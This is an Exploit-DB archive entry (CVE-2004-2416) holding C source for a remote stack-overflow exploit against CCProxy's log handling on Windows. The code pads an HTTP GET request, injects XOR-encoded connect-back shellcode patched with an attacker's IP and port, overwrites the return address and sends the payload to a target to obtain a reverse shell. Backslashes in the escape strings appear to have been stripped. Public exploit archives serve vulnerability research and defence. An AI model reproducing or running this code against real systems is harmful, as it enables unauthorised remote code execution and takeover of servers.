标题: CCProxy Log - Remote Stack Overflow EDB-ID: 619 CVE: 2004-2416 类型: REMOTE 平台: WINDOWS 发布日期: 2004-11-09 漏洞利用脚本: #include <stdio.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")


unsigned char EndChar[]=
"x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A";
// HTTP/1.0

unsigned char shellcode[] =
"xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05"

"xe8xedxffxffxff"

/* 254 bytes shellcode, xor with 0xee */
/* offset 92=IP offset 99=PORT*/
"x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65"

"x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee"

"x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b"

"x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef"

"x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb"

"x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84"

"xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45"

"x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf"

"xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11"

"xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0"

"x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b"

"xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05"

"x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65"

"xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11"

"x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37"

"xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";

/*

+------------------------------------------------------------------------------+
| |inc edx...inc edx|shellcode|0x7ffa54cd| | |
+------------------------------------------------------------------------------+
      +0x42 +shellcode +IPLen( IP )=4065

    :
mov ecx,0x12811111
shr ecx,0x14
sub esp,ecx
jmp esp

                        
1.
2. ecx inc edx
*/

void start(void)
{
printf("CCProxy Log Stack Overflow Exploit!n");
printf("written by Ruder 11/2004n");
printf("Bug found by Isno,See xfocus.comn");
printf("Homepage:http://ruder.cdut.netn";);
printf("E-mail:cocoruder@163.comn");
}

int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i,tmp;
struct sockaddr_in server,local;
struct hostent *host = NULL;
int IPLen;
int a;
char buff[4096] = {0};
char *IPStr;
u_short tmp1;
char *PORTStr;

start();

if(argc != 5)
{
printf("usage: %s target port backIP backPortn", argv[0]);
exit(1);
}

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!n");
return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %dn", WSAGetLastError());
return 1;
}

// shellcode ,
tmp=inet_addr(argv[3]);
a=(DWORD)&tmp; //
IPStr=(char*)a;

shellcode[92]=IPStr[0]^0xee; //IP
shellcode[93]=IPStr[1]^0xee;
shellcode[94]=IPStr[2]^0xee;
shellcode[95]=IPStr[3]^0xee;

tmp1=htons((u_short)atoi(argv[4]));
a=(DWORD)&tmp1;
PORTStr=(char*)a;

shellcode[99]=PORTStr[0]^0xee; //PORT
shellcode[100]=PORTStr[1]^0xee;

server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %sn", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);
}

//
if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %dn", WSAGetLastError());
return 1;
}

//
a=sizeof(sockaddr_in);

// IP
if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR)
{
printf("getsockname() failed: %dn", WSAGetLastError());
return 1;
}
IPLen=strlen(inet_ntoa(local.sin_addr));


//
buff[0]=0x47;
buff[1]=0x45;
buff[2]=0x54;
buff[3]=0x20;
buff[4]=0x2F;

// INC EDX
// 0x42
tmp=4065-sizeof(shellcode)-5-IPLen+1;
for(i=5;i<tmp+5;i++)
{
buff[i]=0x42;
}

CopyMemory(&buff[i],shellcode,sizeof(shellcode));
i=i+sizeof(shellcode)-1;

buff[i]=0xCD;
buff[i+1]=0x54;
buff[i+2]=0xFA;
buff[i+3]=0x7F;

i=i+4;
//
buff[i++]=0xB9;
buff[i++]=0x11;
buff[i++]=0x11;
buff[i++]=0x81;
buff[i++]=0x12;
buff[i++]=0xC1;
buff[i++]=0xE9;
buff[i++]=0x14;
buff[i++]=0x2B;
buff[i++]=0xE1;
buff[i++]=0xFF;
buff[i++]=0xE4;

//
CopyMemory(&buff[i],EndChar,sizeof(EndChar));
i=i+sizeof(EndChar);

ret=send(sClient,buff,i-1,0);

printf("send... buffer ok!good luck!n");

closesocket(sClient);
WSACleanup();
return 0;
}

// milw0rm.com [2004-11-09] URL: https://www.exploit-db.com/exploits/619